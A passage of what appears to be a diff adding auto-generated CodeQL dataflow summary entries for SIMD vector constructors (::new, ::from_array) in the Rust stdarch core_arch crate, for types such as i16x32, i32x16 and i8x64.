"ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[8]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[9]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i16x4(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i16x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i16x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::i16x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::i16x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i16x8(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i16x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i16x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::i16x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::i16x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::i16x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::i16x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::i16x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::i16x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[10]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[11]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[12]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[13]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[14]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[15]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[8]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[9]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i32x2(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i32x2(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i32x2(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[10]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[11]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[12]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[13]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[14]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[15]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[16]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[17]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[18]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[19]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[20]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[21]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[22]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[23]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[24]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[25]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[26]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[27]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[28]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[29]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[30]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[31]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[8]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[9]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i32x4(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i32x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i32x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::i32x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::i32x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i32x8(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i32x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i32x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::i32x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::i32x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::i32x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::i32x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::i32x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::i32x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i64x1(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i64x1(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i64x2(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i64x2(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i64x2(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i64x4(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i64x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i64x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::i64x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::i64x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i64x8(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i64x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i64x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::i64x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::i64x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::i64x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::i64x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::i64x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::i64x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[10]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[11]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[12]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[13]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[14]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[15]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[8]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[9]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i8x2(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i8x2(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i8x2(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[10]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[11]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[12]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[13]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[14]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[15]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[16]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[17]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[18]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[19]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[20]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[21]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[22]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[23]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[24]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[25]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[26]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[27]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[28]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[29]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[30]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[31]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[8]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[9]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i8x4(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i8x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i8x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::i8x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::i8x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[10]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[11]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[12]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[13]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[14]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[15]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[16]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[17]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[18]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", 